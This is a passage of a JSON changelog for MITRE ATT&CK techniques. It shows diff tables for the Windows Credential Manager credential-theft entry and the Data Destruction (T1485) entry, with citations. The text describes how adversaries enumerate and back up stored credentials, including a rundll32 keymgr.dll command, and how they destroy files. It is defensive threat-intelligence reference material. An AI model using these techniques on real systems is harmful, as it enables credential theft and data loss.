nowrap=\"nowrap\">&nbsp;Locker)&nbsp;&nbsp;The&nbsp;Windows&nbsp;Credential&nbsp;Manager&nbsp;separates&nbsp;website&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">redentials&nbsp;from&nbsp;application&nbsp;or&nbsp;network&nbsp;credentials&nbsp;in&nbsp;two&nbsp;lo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">redentials&nbsp;from&nbsp;application&nbsp;or&nbsp;network&nbsp;credentials&nbsp;in&nbsp;two&nbsp;lo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ckers.&nbsp;As&nbsp;part&nbsp;of&nbsp;[Credentials&nbsp;from&nbsp;Web&nbsp;Browsers](https://at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ckers.&nbsp;As&nbsp;part&nbsp;of&nbsp;[Credentials&nbsp;from&nbsp;Web&nbsp;Browsers](https://at</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1555/003),&nbsp;Internet&nbsp;Explorer&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1555/003),&nbsp;Internet&nbsp;Explorer&nbsp;and&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Microsoft&nbsp;Edge&nbsp;website&nbsp;credentials&nbsp;are&nbsp;managed&nbsp;by&nbsp;the&nbsp;Creden</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Microsoft&nbsp;Edge&nbsp;website&nbsp;credentials&nbsp;are&nbsp;managed&nbsp;by&nbsp;the&nbsp;Creden</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tial&nbsp;Manager&nbsp;and&nbsp;are&nbsp;stored&nbsp;in&nbsp;the&nbsp;Web&nbsp;Credentials&nbsp;locker.&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tial&nbsp;Manager&nbsp;and&nbsp;are&nbsp;stored&nbsp;in&nbsp;the&nbsp;Web&nbsp;Credentials&nbsp;locker.&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplication&nbsp;and&nbsp;network&nbsp;credentials&nbsp;are&nbsp;stored&nbsp;in&nbsp;the&nbsp;Windows</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplication&nbsp;and&nbsp;network&nbsp;credentials&nbsp;are&nbsp;stored&nbsp;in&nbsp;the&nbsp;Windows</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Credentials&nbsp;locker.&nbsp;&nbsp;Credential&nbsp;Lockers&nbsp;store&nbsp;credentials&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Credentials&nbsp;locker.&nbsp;&nbsp;Credential&nbsp;Lockers&nbsp;store&nbsp;credentials&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;encrypted&nbsp;`.vcrd`&nbsp;files,&nbsp;located&nbsp;under&nbsp;`%Systemdrive%\\User</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;encrypted&nbsp;`.vcrd`&nbsp;files,&nbsp;located&nbsp;under&nbsp;`%Systemdrive%\\User</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;The&nbsp;encryption&nbsp;key&nbsp;can&nbsp;be&nbsp;found&nbsp;in&nbsp;a&nbsp;file&nbsp;named&nbsp;&lt;code&gt;Poli</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;The&nbsp;encryption&nbsp;key&nbsp;can&nbsp;be&nbsp;found&nbsp;in&nbsp;a&nbsp;file&nbsp;named&nbsp;&lt;code&gt;Poli</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cy.vpol&lt;/code&gt;,&nbsp;typically&nbsp;located&nbsp;in&nbsp;the&nbsp;same&nbsp;folder&nbsp;as&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cy.vpol&lt;/code&gt;,&nbsp;typically&nbsp;located&nbsp;in&nbsp;the&nbsp;same&nbsp;folder&nbsp;as&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">credentials.(Citation:&nbsp;passcape&nbsp;Windows&nbsp;Vault)(Citation:&nbsp;Mal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">credentials.(Citation:&nbsp;passcape&nbsp;Windows&nbsp;Vault)(Citation:&nbsp;Mal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">warebytes&nbsp;The&nbsp;Windows&nbsp;Vault)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;list&nbsp;credentia</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">warebytes&nbsp;The&nbsp;Windows&nbsp;Vault)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;list&nbsp;credentia</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls&nbsp;managed&nbsp;by&nbsp;the&nbsp;Windows&nbsp;Credential&nbsp;Manager&nbsp;through&nbsp;several</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls&nbsp;managed&nbsp;by&nbsp;the&nbsp;Windows&nbsp;Credential&nbsp;Manager&nbsp;through&nbsp;several</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;mechanisms.&nbsp;&lt;code&gt;vaultcmd.exe&lt;/code&gt;&nbsp;is&nbsp;a&nbsp;native&nbsp;Windows&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;mechanisms.&nbsp;&lt;code&gt;vaultcmd.exe&lt;/code&gt;&nbsp;is&nbsp;a&nbsp;native&nbsp;Windows&nbsp;e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecutable&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;enumerate&nbsp;credentials&nbsp;stored&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xecutable&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;enumerate&nbsp;credentials&nbsp;stored&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;Credential&nbsp;Locker&nbsp;through&nbsp;a&nbsp;command-line&nbsp;interface.&nbsp;Ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;Credential&nbsp;Locker&nbsp;through&nbsp;a&nbsp;command-line&nbsp;interface.&nbsp;Ad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;may&nbsp;also&nbsp;gather&nbsp;credentials&nbsp;by&nbsp;directly&nbsp;reading&nbsp;fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;may&nbsp;also&nbsp;gather&nbsp;credentials&nbsp;by&nbsp;directly&nbsp;reading&nbsp;fi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">les&nbsp;located&nbsp;inside&nbsp;of&nbsp;the&nbsp;Credential&nbsp;Lockers.&nbsp;Windows&nbsp;APIs,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">les&nbsp;located&nbsp;inside&nbsp;of&nbsp;the&nbsp;Credential&nbsp;Lockers.&nbsp;Windows&nbsp;APIs,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">such&nbsp;as&nbsp;&lt;code&gt;CredEnumerateA&lt;/code&gt;,&nbsp;may&nbsp;also&nbsp;be&nbsp;ab<span class=\"diff_chg\">sued&nbsp;to&nbsp;l</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">such&nbsp;as&nbsp;&lt;code&gt;CredEnumerateA&lt;/code&gt;,&nbsp;may&nbsp;also&nbsp;be&nbsp;ab<span class=\"diff_chg\">used&nbsp;to&nbsp;l</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ist&nbsp;credentials&nbsp;managed&nbsp;by&nbsp;the&nbsp;Credential</span>&nbsp;Manager.(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ist&nbsp;credentials&nbsp;managed&nbsp;by&nbsp;the&nbsp;Credential</span>&nbsp;Manager.(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Microsoft&nbsp;CredEnumerate)(Citation:&nbsp;Delpy&nbsp;Mimikatz&nbsp;Crendenti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Microsoft&nbsp;CredEnumerate)(Citation:&nbsp;Delpy&nbsp;Mimikatz&nbsp;Crendenti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;Manager)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;obtain&nbsp;credentials&nbsp;from&nbsp;cr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;Manager)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;obtain&nbsp;credentials&nbsp;from&nbsp;cr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">edential&nbsp;backups.&nbsp;Credential&nbsp;backups&nbsp;and&nbsp;restorations&nbsp;may&nbsp;be</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">edential&nbsp;backups.&nbsp;Credential&nbsp;backups&nbsp;and&nbsp;restorations&nbsp;may&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;performed&nbsp;by&nbsp;running&nbsp;&lt;code&gt;rundll32.exe&nbsp;keymgr.dll&nbsp;KRShowKe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;performed&nbsp;by&nbsp;running&nbsp;&lt;code&gt;rundll32.exe&nbsp;keymgr.dll&nbsp;KRShowKe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yMgr&lt;/code&gt;&nbsp;then&nbsp;selecting&nbsp;the&nbsp;\u201cBack&nbsp;up...\u201d&nbsp;button&nbsp;on&nbsp;the&nbsp;\u201cS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">yMgr&lt;/code&gt;&nbsp;then&nbsp;selecting&nbsp;the&nbsp;\u201cBack&nbsp;up...\u201d&nbsp;button&nbsp;on&nbsp;the&nbsp;\u201cS</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tored&nbsp;User&nbsp;Names&nbsp;and&nbsp;Passwords\u201d&nbsp;GUI.&nbsp;&nbsp;Password&nbsp;recovery&nbsp;tool</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tored&nbsp;User&nbsp;Names&nbsp;and&nbsp;Passwords\u201d&nbsp;GUI.&nbsp;&nbsp;Password&nbsp;recovery&nbsp;tool</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;may&nbsp;also&nbsp;obtain&nbsp;plain&nbsp;text&nbsp;passwords&nbsp;from&nbsp;the&nbsp;Credential&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;may&nbsp;also&nbsp;obtain&nbsp;plain&nbsp;text&nbsp;passwords&nbsp;from&nbsp;the&nbsp;Credential&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anager.(Citation:&nbsp;Malwarebytes&nbsp;The&nbsp;Windows&nbsp;Vault)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">anager.(Citation:&nbsp;Malwarebytes&nbsp;The&nbsp;Windows&nbsp;Vault)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0134: Detect Suspicious Access to Windows Credential Manager"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-03-14 18:47:17.701000+00:00",
                    "modified": "2026-11-03 23:42:40.660000+00:00",
                    "name": "Data Destruction",
                    "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1485",
                            "external_id": "T1485"
                        },
                        {
                            "source_name": "DOJ  - Cisco Insider",
                            "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.",
                            "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"
                        },
                        {
                            "source_name": "Unit 42 Shamoon3 2018",
                            "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                            "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
                        },
                        {
                            "source_name": "Palo Alto Shamoon Nov 2016",
                            "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                            "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                        },
                        {
                            "source_name": "FireEye Shamoon Nov 2016",
                            "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                        },
                        {
                            "source_name": "Kaspersky StoneDrill 2017",
                            "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                            "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                        },
                        {
                            "source_name": "Talos Olympic Destroyer 2018",
                            "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                            "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                        },
                        {
                            "source_name": "Data Destruction - Threat Post",
                            "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.",
                            "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"
                        },
                        {
                            "source_name": "Symantec Shamoon 2012",
                            "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                            "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Brent Murphy, Elastic",
                        "David French, Elastic",
                        "Syed Ummar Farooqh, McAfee",
                        "Prasad Somasamudram, McAfee",
                        "Sekhar Sarukkai, McAfee",
                        "Varonis Threat Labs",
                        "Joey Lei"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "ESXi",
                        "IaaS",
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:42:40.660000+00:00\", \"old_value\": \"2026-05-12 15:12:00.717000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\\n\\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n\\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)\\n\\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.\", \"old_value\": \"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\\n\\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n\\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\\n\\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n \\n-To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\\n+To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)\\n \\n In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to72__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to72__0\"><a href=\"#difflib_chg_to72__top\">t</a></td><td class=\"diff_header\" id=\"from72_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;destroy&nbsp;data&nbsp;and&nbsp;files&nbsp;on&nbsp;specific&nbsp;systems&nbsp;o</td><td class=\"diff_next\"><a href=\"#difflib_chg_to72__top\">t</a></td><td class=\"diff_header\" id=\"to72_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;destroy&nbsp;data&nbsp;and&nbsp;files&nbsp;on&nbsp;specific&nbsp;systems&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;in&nbsp;large&nbsp;numbers&nbsp;on&nbsp;a&nbsp;network&nbsp;to&nbsp;interrupt&nbsp;availability&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;in&nbsp;large&nbsp;numbers&nbsp;on&nbsp;a&nbsp;network&nbsp;to&nbsp;interrupt&nbsp;availability&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems,&nbsp;services,&nbsp;and&nbsp;network&nbsp;resources.&nbsp;Data&nbsp;destruction&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;systems,&nbsp;services,&nbsp;and&nbsp;network&nbsp;resources.&nbsp;Data&nbsp;destruction&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;likely&nbsp;to&nbsp;render&nbsp;stored&nbsp;data&nbsp;irrecoverable&nbsp;by&nbsp;forensic&nbsp;te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;likely&nbsp;to&nbsp;render&nbsp;stored&nbsp;data&nbsp;irrecoverable&nbsp;by&nbsp;forensic&nbsp;te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques&nbsp;through&nbsp;overwriting&nbsp;files&nbsp;or&nbsp;data&nbsp;on&nbsp;local&nbsp;and&nbsp;remo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques&nbsp;through&nbsp;overwriting&nbsp;files&nbsp;or&nbsp;data&nbsp;on&nbsp;local&nbsp;and&nbsp;remo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;drives.(Citation:&nbsp;Symantec&nbsp;Shamoon&nbsp;2012)(Citation:&nbsp;FireEy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;drives.(Citation:&nbsp;Symantec&nbsp;Shamoon&nbsp;2012)(Citation:&nbsp;FireEy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Citation:&nbsp;Palo&nbsp;Alto&nbsp;Shamoon&nbsp;Nov&nbsp;2016)(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 